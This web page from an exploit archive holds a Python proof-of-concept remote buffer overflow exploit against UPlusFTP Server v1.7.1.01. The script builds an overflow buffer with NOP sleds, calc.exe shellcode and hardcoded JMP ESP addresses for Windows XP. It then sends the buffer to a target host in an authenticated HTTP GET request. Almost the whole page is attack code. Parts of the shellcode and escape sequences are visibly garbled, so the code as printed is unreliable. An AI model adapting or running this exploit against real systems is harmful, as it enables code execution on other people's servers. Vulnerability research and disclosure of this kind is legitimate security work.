<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>UPlusFTP Server v1.7.1.01 HTTP Remote Buffer Overflow Post Auth</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>===============================================================
UPlusFTP Server v1.7.1.01 HTTP Remote Buffer Overflow Post Auth
===============================================================

#!/usr/bin/python
import socket,sys,base64

print &quot;&quot;&quot;
#
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
UPlusFTP Server v1.7.1.01 [ HTTP ] Remote BoF Exploit PoC
Discovered by : Karn Ganeshen
Author : Karn Ganeshen / corelanc0d3r

KarnGaneshen [aT] gmail [d0t] com

http://ipositivesecurity.blogspot.com

Greetz out to: corelanc0d3r

http://corelan.be:8800/index.php

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#
&quot;&quot;&quot;

# Tested on XP Pro SP2 [ Eng ] and XP Pro SP3 [ Eng ]
# Date Found : July 21, 2010
# Vendor notified on July 23, 2010
# Issue fixed and new version 1.7.1.02 released on July 23, 2010

if len(sys.argv) != 5:
print &quot;Usage: ./poc.py &lt;Target IP&gt; &lt;Port&gt; &lt;User&gt; &lt;Password&gt;&quot;
sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3]
pwd = sys.argv[4]

auth = base64.b64encode(user+&quot;:&quot;+pwd)

buf=&quot;A&quot;*1963
buf+=&quot;x90&quot;*179

# 165 bytes Calc.exe shellcode / badchars identified and excluded
buf+=(&quot;xd9xcax29xc9xb1×24xbfx3fxc7×66x9fxd9×74x24xf4×5e&quot;
&quot;x31×7ex17×03x7ex17×83xf9xc3×84x6axf9×24x0cx95×01&quot;
&quot;xb5×06xd0×3dx3ex64xdex45×41x7ax6bxfax59×0fx33×24&quot;
&quot;x5bxe4×85xafx6fx71×14x41xbex45×8ex31×45x85xc5×4e&quot;
&quot;x87xccx2bx51xc5×3axc7×6ax9dx98×2cxf9xf8×6ax73×25&quot;
&quot;x02×86xeaxaex08×13x78xefx0cxa2×95x84×31x2fx68×71&quot;
&quot;xc0×73x4fx81×10xbax4fxedx1dxfdx7fx68xe1×86x73xf9&quot;
&quot;xa2×7ax07×8dx3ex2ex9cx05×37xdbxaax5exc7xabxadx60&quot;
&quot;xc8×40xc5×5cx97×67xe0xfcx71×01xf4×7fxbdx6ax55×17&quot;
&quot;xcex07×51xb8×46x80xa4xccx99xe7xa7×37xc6×66x34xd4&quot;
&quot;x27×0cxbcx7fx38&quot;)

buf+=&quot;x90&quot;*15

#[ XP SP2 ] -&gt; &quot;x78×16xF3×77&quot; #0×77F31678 JMP ESP
buf+=&quot;x78×16xF3×77&quot;

#[ XP SP3 ] -&gt; &quot;x3Fx71×49x7E&quot; #0×7E49713F JMP ESP
#buf+=&quot;x3Fx71×49x7E&quot;

buf+=&quot;x90&quot;*30
buf+=&quot;x66×05x7Ax03&quot; #ADD AX,037A
buf+=&quot;x66×05x7Ax03&quot; #ADD AX,037A
buf+=&quot;x66×05x7Ax03&quot; #ADD AX,037A
buf+=&quot;x50xc3&quot; #PUSH EAX + RET

print &quot;[+] Launching exploit against &quot; + target + &quot;…&quot;

head = &quot;GET /list.html?path=&quot;+buf+&quot; HTTP/1.1 rn&quot;
head += &quot;Host: rn&quot;
head += &quot;Authorization: Basic &quot;+auth+&quot;rn&quot;

try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target, port))
s.send(head + &quot;rn&quot;)
print &quot;[!] Payload sent…&quot;
s.close()
except:
print &quot;[x] Error!&quot;

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-28]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13501